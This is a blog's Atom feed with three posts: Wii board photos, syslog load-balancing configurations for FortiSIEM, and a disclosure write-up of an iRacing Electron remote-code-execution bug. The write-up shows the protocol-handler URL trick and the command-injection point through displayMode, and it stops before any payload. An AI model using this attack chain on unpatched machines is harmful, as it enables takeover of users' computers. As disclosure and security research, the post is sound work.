<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.ss23.geek.nz/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.ss23.geek.nz/" rel="alternate" type="text/html" /><updated>2025-05-11T06:22:17+00:00</updated><id>https://blog.ss23.geek.nz/feed.xml</id><title type="html">Blog</title><subtitle>A place to put things</subtitle><entry><title type="html">Wii Family Edition PCB Photos</title><link href="https://blog.ss23.geek.nz/2025/05/10/wii-motherboard-pcbs.html" rel="alternate" type="text/html" title="Wii Family Edition PCB Photos" /><published>2025-05-10T11:00:00+00:00</published><updated>2025-05-10T11:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2025/05/10/wii-motherboard-pcbs</id><content type="html" xml:base="https://blog.ss23.geek.nz/2025/05/10/wii-motherboard-pcbs.html"><![CDATA[<p>Sometimes I find myself wanting to have some easily accessible pictures of a Wii PCB. The common versions found online aren’t particularly high quality. Here are some I took myself for when I need them, hosted here so I can access them on short notice.</p>

<p><img src="/assets/images/wii-fe-pcb-front.jpg" alt="Wii Family Edition PCB Front" />
<img src="/assets/images/wii-fe-pcb-back.jpg" alt="Wii Family Edition PCB Back" /></p>]]></content><author><name></name></author><category term="wii" /><summary type="html"><![CDATA[Sometimes I find myself wanting to have some easily accessible pictures of a Wii PCB. The common versions found online aren’t particularly high quality. Here are some I took myself for when I need them, hosted here so I can access them on short notice.]]></summary></entry><entry><title type="html">Load balancing syslog messages into FortiSIEM using HAProxy, syslog-ng or nftables</title><link href="https://blog.ss23.geek.nz/2024/08/05/syslog-load-balancing-into-fortisiem.html" rel="alternate" type="text/html" title="Load balancing syslog messages into FortiSIEM using HAProxy, syslog-ng or nftables" /><published>2024-08-05T11:00:00+00:00</published><updated>2024-08-05T11:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2024/08/05/syslog-load-balancing-into-fortisiem</id><content type="html" xml:base="https://blog.ss23.geek.nz/2024/08/05/syslog-load-balancing-into-fortisiem.html"><![CDATA[<p>It is a weakness of some products, such as FortiGate firewalls, that they can only send traffic to a single syslog server. If you’re also ingesting those logs into a system like FortiSIEM, you can run into an issue where a single FortiSIEM worker is overwhelmed with the syslog traffic coming from that one firewall. To spread the load over multiple FortiSIEM workers, one can simply load-balance across the multiple workers! Here are a few approaches and their pros and cons.</p>

<h2 id="round-robin-dns">Round-robin DNS</h2>
<p>The first option most people think of is to have a DNS record with multiple IPs or CNAMEs in it. This is how a lot of services do load balancing, like your favorite websites. This works well when you have a lot of medium to low traffic syslog clients, like end-user devices or Linux servers, as each of them will randomly select a worker and send it messages for the length of the <a href="https://developers.cloudflare.com/dns/manage-dns-records/reference/ttl/">TTL</a>. However, in the case where we have a single high-traffic device, this will result in one of the workers being overloaded until the TTL expires, at which point a new worker is chosen and becomes overloaded.</p>

<p>Verdict: ❌</p>

<h2 id="syslog-ng">syslog-ng</h2>
<p>If we want to load balance syslog, surely we can use a dedicated syslog server running syslog software that sends syslog messages! Perhaps, <a href="https://www.syslog-ng.com/">syslog-ng</a>?
The configuration is relatively simple for forwarding:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source s_udp { udp(port(514)); };

destination d_lb_udp {
        channel {
                channel {
                        filter {
                                "0" == "$(% ${R_MSEC} 2)"
                        };
                        destination {
                                syslog("192.0.2.10" transport("udp") port(514));
                        };
                        flags(final);
                };
                channel {
                        filter {
                                "1" == "$(% ${R_MSEC} 2)"
                        };
                        destination {
                                syslog("192.0.2.11" transport("udp") port(514));
                        };
                        flags(final);
                };
        };
};

log { source(s_udp); destination(d_lb_udp); };
</code></pre></div></div>

<p>This can easily be extended for TCP too.</p>

<p>When using this to send messages to FortiSIEM, two problems become immediately obvious.</p>

<ul>
  <li>Incorrect source IP</li>
</ul>

<p>Because the server is relaying the messages, the new source IP is that of the syslog-ng server. There does seem to be some mechanism in FortiSIEM to parse out the sending device and set the source IP to that, but it is not documented at all that I can tell, so in my testing, half of the devices have the correct source IP, and half have the relaying IP there instead.</p>

<p>Luckily when it comes to the Source IP, we have the option of enabling the <code class="language-plaintext highlighter-rouge">spoof-source(yes)</code> option. This will work as long as we’re only forwarding UDP messages at least.</p>

<ul>
  <li>Message reformatting</li>
</ul>

<p>Messages are reformatted into RFC 5424. This can be changed to reformat into RFC 3164 instead, but there is no way to avoid reformatting at all.
As a result, FortiSIEM is unable to use the existing parsers, as these expect things to be in a specific format. This can be worked around, but it makes syslog-ng not a drop-in replacement.</p>

<p>This combines to result in an acceptable but sub-optimal solution. As long as you can strictly control the format of messages going to syslog-ng and you only want to relay UDP messages, this can work.</p>

<p>Verdict: ⚠️</p>

<h2 id="haproxy">HAProxy</h2>
<p>Searching further, we see that <a href="https://www.haproxy.com/">HAProxy</a> is able to forward syslog-ng messages! And better yet, HAProxy is a purpose-built load balancer, so it should be designed for just this kind of thing.</p>

<p>Once again, the configuration is relatively simple:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>log-forward syslog
        bind 0.0.0.0:514        # TCP
        dgram-bind 0.0.0.0:514  # UDP

        # Send logs over UDP - Sampling is used to load-balance
        log 192.0.2.10 sample 1:2 local0
        log 192.0.2.11 sample 2:2 local0
</code></pre></div></div>

<p>This supports everything we need without anything strange out of the box and solves the previous issue with syslog-ng by not doing any rewriting by default. However, we no longer have the option of spoofing the source IP address. This means we’re stuck again with FortiSIEM not knowing the original device that sent the syslog messages.</p>

<p>Verdict: ⚠️</p>

<h2 id="nftables-or-iptables">nftables (or iptables)</h2>
<p>None of the solutions so far tick all our boxes. We can either choose haproxy and lose the source IP spoofing, or syslog-ng and lose the raw message forwarding. If we want to solve both of these issues (and we don’t mind only supporting UDP), how about we rewrite the UDP packets and spoof the source IP? While we could get something working with haproxy, the easiest thing is to remove haproxy and syslog-ng altogether and use Linux’s built-in IP forwarding functionality with nftables.</p>

<p>There are only two steps to get this working. The first is to enable forwarding, and the second is to add the relevant iptables rules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo 1 &gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp --dport 514 -m statistic --mode nth --every 2 --packet 0 -j DNAT --to-destination 192.0.2.10:514
iptables -t nat -A PREROUTING -p udp --dport 514 -m statistic --mode nth --every 2 --packet 1 -j DNAT --to-destination 192.0.2.11:514
</code></pre></div></div>

<p>If you’d like to use nftables instead, you can use a similar configuration:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nft list ruleset
table ip nat {
        chain PREROUTING {
                type nat hook prerouting priority dstnat; policy accept;
                udp dport 514 dnat to numgen inc mod 2 map { 0 : 192.0.2.10, 1 : 192.0.2.11 }
        }
}
</code></pre></div></div>

<p>With a few steps to make this configuration permanent, we now have a server that is forwarding all our syslog messages with a spoofed source and distributing it between all our workers.</p>

<p>Verdict: ✔️</p>

<h2 id="fortisiem-collectors">FortiSIEM Collectors</h2>
<p>As a final note, FortiSIEM has a node type called a “collector” which seems like it would do exactly what we want with minimal fuss. Unfortunately, these are documented to have a <a href="https://docs.fortinet.com/document/fortisiem/7.1.5/fortisiem-reference-architecture-using-clickhouse/600045/collector-architectures">limit of 10k EPS</a> (<em>Each Collector has a maximum log ingestion rate of up to 10k EPS</em>), making it not an option for high-traffic sources. The official recommendation is to use a load balancer in front of a Collector, making them a lot less useful than they might otherwise be.
To compare performance, a Linux server running nftables should be able to handle at least 100k EPS without any problems. With 20k EPS, we haven’t seen more than 0.10 load average on a 4 core machine.</p>

<p>Verdict: ❌❌❌</p>

<h1 id="conclusion">Conclusion</h1>
<p>None of these options are really great. A better solution would be to understand how FortiSIEM determines whether to ignore the source IP on syslog messages and ensure that all forwarded messages trigger this behavior. In the absence of this, forwarding UDP messages with nftables is likely to give us the best performance and simplicity (though it can be a little difficult for less technical users to understand if they are not familiar with nftables/iptables).</p>

<p><em>Gr33tz to d@ f1nch and #realhacking</em></p>]]></content><author><name></name></author><category term="sysadmin" /><category term="fortisiem" /><category term="syslog" /><summary type="html"><![CDATA[It is a weakness of some products, such as FortiGate firewalls, that they can only send traffic to a single syslog server. If you’re also ingesting those logs into a system like FortiSIEM, you can run into an issue where a single FortiSIEM worker is overwhelmed with the syslog traffic coming from that one firewall. To spread the load over multiple FortiSIEM workers, one can simply load-balance across the multiple workers! Here are a few approaches and their pros and cons.]]></summary></entry><entry><title type="html">iRacing Exploit allows attackers to take control of user’s computer</title><link href="https://blog.ss23.geek.nz/2023/09/21/iracing-electron-rce-exploit.html" rel="alternate" type="text/html" title="iRacing Exploit allows attackers to take control of user’s computer" /><published>2023-09-21T11:00:00+00:00</published><updated>2023-09-21T11:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2023/09/21/iracing-electron-rce-exploit</id><content type="html" xml:base="https://blog.ss23.geek.nz/2023/09/21/iracing-electron-rce-exploit.html"><![CDATA[<p>I’ve <a href="/2023/03/20/decrease-iracing-update-sizes.html">recently been looking into iRacing</a>, which is an online racing simulation video game.</p>

<p>The UI (called iRacingUI) to launch into the actual game is built using the popular <a href="https://www.electronjs.org/">Electron framework</a>, which means that it has the same security weaknesses as other Electron applications. Specifically, any <a href="https://owasp.org/www-community/attacks/xss/">XSS</a> vulnerabilities can often give attackers significant control over a user’s computer (especially if the application isn’t using the latest and most secure configuration options). In this post, I’ll be discussing a vulnerability in the iRacing UI that allows remote code execution, which would allow an attacker to take over the computer of anyone running iRacing.</p>

<h1 id="am-i-affected">Am I affected?</h1>
<p>If you have updated iRacing since <a href="https://support.iracing.com/support/solutions/articles/31000169917-2023-season-2-patch-5-release-notes-2023-05-08-02-">2023 Season 2 Patch 5</a>, you’re safe. But if you have the game installed and haven’t updated it, it’s important to either update or uninstall it as soon as possible. Keep in mind this exploit is possible even if you haven’t got an active iRacing subscription, so if you were thinking about updating it later, it’s worth uninstalling it in the meanwhile.</p>

<h1 id="introduction-to-the-ui">Introduction to the UI</h1>
<p>To understand the vulnerability, it’s helpful to know a bit about how Electron applications are structured. Unlike traditional Windows applications, Electron applications are packaged with the source code written in HTML, CSS, and JavaScript. This means that if you’re familiar with these technologies, you’ll have a good understanding of how an Electron application works.</p>

<p>The iRacing UI is installed in the <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\iRacing\ui</code> directory and contains two important files: <code class="language-plaintext highlighter-rouge">resources\app.asar</code> and <code class="language-plaintext highlighter-rouge">resources\electron.asar</code>. The former file is what we’re interested in, as it contains the code we need to analyze. The ASAR format is similar to other archive formats like ZIP or RAR and can be opened using a <a href="(https://www.tc4shell.com/en/7zip/asar/)">7zip plugin</a>.</p>

<p>Once extracted, we can take a look at the source code. I’m going to be working with <a href="https://code.visualstudio.com/">Visual Studio Code</a>, which is handy because it looks like that’s what the iRacing developers use! We can already see a <code class="language-plaintext highlighter-rouge">.vscode</code> folder in the extracted code.</p>

<h1 id="digging-into-the-code">Digging into the code</h1>
<p><img src="/assets/images/iracing-xss-vscode.png" alt="Screenshot of Visual Studio Code showing the file .vscode/launch.json open" /></p>

<p>The first interesting thing to note is the way that developer-only files have been packaged into this bundle. While not necessarily a mistake, it is unusual to see an Electron package distributed with this kind of information. Not only do we see a configuration file for Visual Studio Code, but we can also see the README file, test files, and the scripts to generate the build itself. Still, while useful for gaining context, this doesn’t have a security impact.</p>

<p>From here, we should start looking to understand how hardened the Electron application is. It is well known that to <a href="https://www.electronjs.org/docs/latest/tutorial/security">secure Electron</a>, several configuration options must be set. We can check these in the <code class="language-plaintext highlighter-rouge">index.js</code> file. Interestingly, there are two BrowserWindows being spawned, with slightly different options for each, but we are only interested in the window that is created post-authentication.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">win</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BrowserWindow</span><span class="p">({</span>
    <span class="p">...</span><span class="nx">windowSettings</span><span class="p">,</span>
    <span class="na">frame</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
    <span class="nx">transparent</span><span class="p">,</span>
    <span class="na">title</span><span class="p">:</span> <span class="dl">"</span><span class="s2">iRacing</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">minWidth</span><span class="p">:</span> <span class="nx">config</span><span class="p">.</span><span class="nx">windowMinWidth</span> <span class="o">||</span> <span class="nx">WINDOW</span><span class="p">.</span><span class="nx">MIN_WIDTH</span><span class="p">,</span>
    <span class="na">minHeight</span><span class="p">:</span> <span class="nx">config</span><span class="p">.</span><span class="nx">windowMinHeight</span> <span class="o">||</span> <span class="nx">WINDOW</span><span class="p">.</span><span class="nx">MIN_HEIGHT</span><span class="p">,</span>
    <span class="na">width</span><span class="p">:</span> <span class="nx">mainWindowState</span><span class="p">.</span><span class="nx">width</span><span class="p">,</span>
    <span class="na">height</span><span class="p">:</span> <span class="nx">mainWindowState</span><span class="p">.</span><span class="nx">height</span><span class="p">,</span>
    <span class="na">x</span><span class="p">:</span> <span class="nx">mainWindowState</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span>
    <span class="na">y</span><span class="p">:</span> <span class="nx">mainWindowState</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span>
    <span class="na">opacity</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
    <span class="na">webPreferences</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">nodeIntegration</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
        <span class="na">preload</span><span class="p">:</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="dl">"</span><span class="s2">preload.js</span><span class="dl">"</span><span class="p">),</span>
        <span class="na">contextIsolation</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="na">show</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The most critical step in securing Electron applications is to <a href="https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content">disable the nodeIntegration option</a>, which has been set. This means that even if a malicious website is loaded, the attacker won’t be able to execute code out of the box.</p>

<p>The second most important step to secure Electron is to <a href="https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation">enable the contextIsolation option</a>. Unfortunately, this option isn’t set!</p>

<h1 id="gaining-the-ability-to-execute-javascript">Gaining the ability to execute Javascript</h1>
<p>Before we can take advantage of any of the weaknesses in the Electron configuration, we have to find a way to be able to execute Javascript in the context of the BrowserWindow. While the most common ways of doing this are to <a href="https://owasp.org/www-community/Fuzzing">fuzz</a> the iRacing platform for XSS issues, that would likely be against the law, as iRacing does not seem to have a bug bounty or security policy that would allow it. Instead, we are going to limit ourselves to exploitation that doesn’t involve sending or receiving any malicious traffic to or from the iRacing servers. As a bonus, this means that the exploitation is likely to be undetectable and unblockable by iRacing since their servers never see any of the malicious exploit.</p>

<p>The options for user input to the system are limited, but one of the things I noticed was that the iRacing Member website, <a href="https://members.iracing.com/">https://members.iracing.com/</a>, has an option to Go Racing and launch the iRacing UI.</p>

<p><img src="/assets/images/iracing-members-site.png" alt="Screenshot showing the iRacing Member website. Of not is some text indicating &quot;Updates Required&quot; and a large button to &quot;Go Racing&quot;" /></p>

<p>Another interesting thing to note is that the website can see that I have updates that haven’t been installed yet. It’s definitely interesting to see that a website can somehow tell what is installed on my computer, but we’re going to leave that for <a href="https://en.wikipedia.org/wiki/Chekhov%27s_gun">another time</a>.</p>

<p>If we click to Go Racing, we are redirected to <a href="https://iracing.link/">https://iracing.link/</a>, and have a button to click to launch the UI:</p>

<p><img src="/assets/images/iracing-link.png" alt="Screenshot - A Windows/Chrome prompt asking &quot;Open iRacing UI? https://iracing.link wants to open this application&quot;" /></p>

<p>Clicking this opens the UI, as we expect, and it seems that this is the first place that user input can be sent to the client! Looking at the developer tools while clicking the link shows that it works by just navigating the browser to <code class="language-plaintext highlighter-rouge">iracing://</code>. This is like when you go to <code class="language-plaintext highlighter-rouge">http://example.com</code>, but instead of an HTTP handler (like your web browser) handling it, it is sent to the iRacing handler, in this case, the UI application. This is all managed by the underlying operating system, but it means that the iRacing UI application must have registered itself as a handler when it runs. Since we now know that it’s being registered in this way, we can head back to the code and see how it works.</p>

<h1 id="the-protocol-handling-of-electron">The protocol handling of Electron</h1>
<p><a href="https://www.electronjs.org/docs/latest/tutorial/launch-app-from-url-in-another-app">The code to register as a protocol handler is simple enough to find</a>, and we can simply search the entire project for <code class="language-plaintext highlighter-rouge">setAsDefaultProtocolClient</code>. In the iRacing case, it can be found in <code class="language-plaintext highlighter-rouge">index.js</code>:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">clientProtocol</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">iracing</span><span class="dl">"</span><span class="p">;</span>
<span class="cm">/* in the situation environment is set incorrectly, I don't want to set an incorrect client protocol. This stuff gets
 * put in the registry so I'm going to try to keep it clean. So check if environment is a known environment */</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">values</span><span class="p">(</span><span class="nx">ENVIRONMENTS</span><span class="p">).</span><span class="nx">includes</span><span class="p">(</span><span class="nx">environment</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">environment</span> <span class="o">!==</span> <span class="nx">ENVIRONMENTS</span><span class="p">.</span><span class="nx">MEMBERS</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">clientProtocol</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">-</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">environment</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">log</span><span class="p">.</span><span class="nx">debug</span><span class="p">(</span><span class="nx">clientProtocol</span><span class="p">,</span> <span class="dl">"</span><span class="s2">clientProtocol</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">setAsDefaultProtocolClient</span><span class="p">(</span><span class="nx">clientProtocol</span><span class="p">);</span>
</code></pre></div></div>

<p>We can simplfy this down to something like <code class="language-plaintext highlighter-rouge">app.setAsDefaultProtocolClient("iracing");</code>, meaning the UI application handles any URIs that start with <code class="language-plaintext highlighter-rouge">iracing://</code>.
Next, we need to determine if we can pass user input at all. Let’s search the source code for <code class="language-plaintext highlighter-rouge">second-instance</code>. It’s not going to tell us about the first instance of the application, but we always can trigger this <code class="language-plaintext highlighter-rouge">second-instance</code> by launching the application twice – once to load it initially, and once to trigger this second instance code path.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">second-instance</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">argv</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">getUrlFromArgv</span><span class="p">(</span><span class="nx">argv</span><span class="p">,</span> <span class="nx">scorps</span><span class="p">,</span> <span class="nx">clientProtocol</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">)</span> <span class="p">{</span>
		<span class="kd">let</span> <span class="nx">curUrl</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">win</span><span class="p">.</span><span class="nx">webContents</span><span class="p">.</span><span class="nx">getURL</span><span class="p">());</span>
		<span class="kd">let</span> <span class="nx">sameOrigin</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">origin</span> <span class="o">===</span> <span class="nx">curUrl</span><span class="p">.</span><span class="nx">origin</span><span class="p">;</span>
		<span class="c1">// if we got a url, and either it's a different origin or it has a pathname, and it's not where we already are</span>
		<span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="nx">sameOrigin</span> <span class="o">||</span> <span class="nx">url</span><span class="p">.</span><span class="nx">pathname</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">url</span><span class="p">.</span><span class="nx">href</span> <span class="o">!==</span> <span class="nx">curUrl</span><span class="p">.</span><span class="nx">href</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">win</span><span class="p">.</span><span class="nx">loadURL</span><span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">href</span><span class="p">);</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">getUrlFromArgv</code> code is found in <code class="language-plaintext highlighter-rouge">utils/getUrlFromArgv.js</code>:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">(</span><span class="nx">argv</span><span class="p">,</span> <span class="nx">scorps</span><span class="p">,</span> <span class="nx">clientProtocol</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
	<span class="kd">let</span> <span class="nx">regex</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">"</span><span class="s2">^</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">clientProtocol</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">://</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">i</span><span class="dl">"</span><span class="p">);</span> <span class="c1">// regex for custom protocol</span>
	<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">argv</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="nx">s</span> <span class="o">=&gt;</span> <span class="nx">s</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">regex</span><span class="p">));</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">url</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
	<span class="kd">let</span> <span class="nx">destination</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">regex</span><span class="p">,</span> <span class="dl">""</span><span class="p">);</span> <span class="c1">// remove the client protocol part of the arg</span>
	<span class="k">return</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">destination</span><span class="p">,</span> <span class="nx">scorps</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>

<p>All the code seems to be doing is removing the client protocol and navigating the page away. This seems to mean we can navigate to any URL we control, so let’s try it.
Our example URL looks like <a href="iracing://http://example.com">iracing://http://example.com</a>. By typing this into a browser window, or clicking a link like this one here (try it here if you have iRacing installed and haven’t updated!), we are going to try to load that example website.</p>

<p><img src="/assets/images/iracing-example-com.png" alt="Screenshot showing the iRacing UI application has loaded example.com" /></p>

<p>It worked, we can load an arbitrary website! The next step is to figure out what kind of code we should execute.</p>

<h1 id="exploit-code">Exploit code</h1>
<p>Now that we can load a website we can control, we need to find out what kind of Javascript we should run. While in a browser, navigating a user to a URL we control is useless (that is what browsers are intended for, after all), in Electron, all bets are off. If <code class="language-plaintext highlighter-rouge">nodeIntegration</code> was turned on, we could simply execute Javascript that would run arbitrary code on targeted computer. Alas, we need to dig deeper.
Since we know that <code class="language-plaintext highlighter-rouge">contextIsolation</code> is turned off, we can try attacking the preloaded Javascript. In brief, when the Electron process spawns the browser, it injects privileged JavaScript into that window before the page loads (hence, preload). This is a way of ensuring that the page itself can’t access any of the underlying NodeJS functionality (this is what the <code class="language-plaintext highlighter-rouge">nodeIntegration</code> option is for, to prevent this), but that you can still have some functions that perform privileged behaviour (like running other processes, or reading and writing files).
Let’s take a look at some of the <code class="language-plaintext highlighter-rouge">preload.js</code> code and see if anything looks exploitable:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// interop will be accessible to the renderer process through the window object</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">interop</span> <span class="o">=</span> <span class="p">{</span>
	<span class="nx">startSim</span><span class="p">(</span><span class="nx">task</span><span class="p">,</span> <span class="nx">onSimEnding</span><span class="p">,</span> <span class="nx">hideLoadingScreen</span> <span class="o">=</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">displayMode</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">[...]</span>
        <span class="c1">// wrap the file path and params in double quotes</span>
        <span class="kd">let</span> <span class="nx">command</span> <span class="o">=</span> <span class="s2">`"</span><span class="p">${</span>
            <span class="nx">config</span><span class="p">.</span><span class="nx">simPath</span> <span class="p">?</span> <span class="nx">config</span><span class="p">.</span><span class="nx">simPath</span> <span class="p">:</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="dl">"</span><span class="s2">..</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">..</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">..</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">iRacingSim64DX11.exe</span><span class="dl">"</span><span class="p">)</span>
        <span class="p">}</span><span class="s2">" "-ui_port=</span><span class="p">${</span><span class="nx">port</span><span class="p">}</span><span class="s2">"`</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="nx">displayMode</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">command</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">command</span><span class="p">}</span><span class="s2"> "-display_mode=</span><span class="p">${</span><span class="nx">displayMode</span><span class="p">}</span><span class="s2">"`</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="cm">/**
         * @todo this logic will be better when we move past the 'legacy' way of calling the sim
         * (lol anytime now [TWO YEARS LATER])
         *
         * We check if we're doing something that doesn't need EAC. Replays don't need it, local stuff doesn't
         * need it EXCEPT time attack
         */</span>
        <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">task</span><span class="p">.</span><span class="nx">parameters</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">object</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">var</span> <span class="nx">optionsString</span> <span class="o">=</span> <span class="nx">task</span><span class="p">.</span><span class="nx">parameters</span><span class="p">.</span><span class="nx">commandLineOptions</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="kd">var</span> <span class="nx">optionsString</span> <span class="o">=</span> <span class="nx">task</span><span class="p">.</span><span class="nx">parameters</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span>
            <span class="o">!</span><span class="p">(</span>
                <span class="nx">task</span><span class="p">.</span><span class="nx">task</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">legacyPlayReplay</span><span class="dl">"</span> <span class="o">||</span>
                <span class="p">(</span><span class="nx">optionsString</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/local=yes/i</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">optionsString</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/time_attack=/i</span><span class="p">))</span>
            <span class="p">)</span>
        <span class="p">)</span> <span class="p">{</span>
            <span class="nx">command</span> <span class="o">+=</span> <span class="dl">'</span><span class="s1"> "-need_eac"</span><span class="dl">'</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="nx">hideLoadingScreen</span><span class="p">)</span> <span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">hideSim</span><span class="dl">"</span><span class="p">);</span>

        <span class="nx">exec</span><span class="p">(</span><span class="nx">command</span><span class="p">,</span> <span class="nx">error</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">error</span> <span class="o">&amp;&amp;</span> <span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">is not recognized as an internal or external command</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
                <span class="nx">log</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
                <span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">asynchronous-message</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">sim ended</span><span class="dl">"</span><span class="p">);</span>
                <span class="nx">reject</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">});</span>
</code></pre></div></div>

<p>While not the only exploitable code path, this one seems to be calling <a href="https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback">exec</a>, which executes a program, so is a great candidate to try break. Luckily, we don’t need to try very hard! It looks like user input to this function is directly concatenated to <code class="language-plaintext highlighter-rouge">command</code> through the <code class="language-plaintext highlighter-rouge">displayMode</code> variable, which is then used in the call to <code class="language-plaintext highlighter-rouge">exec</code>.</p>

<p>To test our payloads, we can host them somewhere on the internet and simply launch the iRacing UI with the relevant path manually, e.g. <code class="language-plaintext highlighter-rouge">iracing://http://example.com/iracing-exploit.html</code>. Let’s try it by calling the following code:</p>
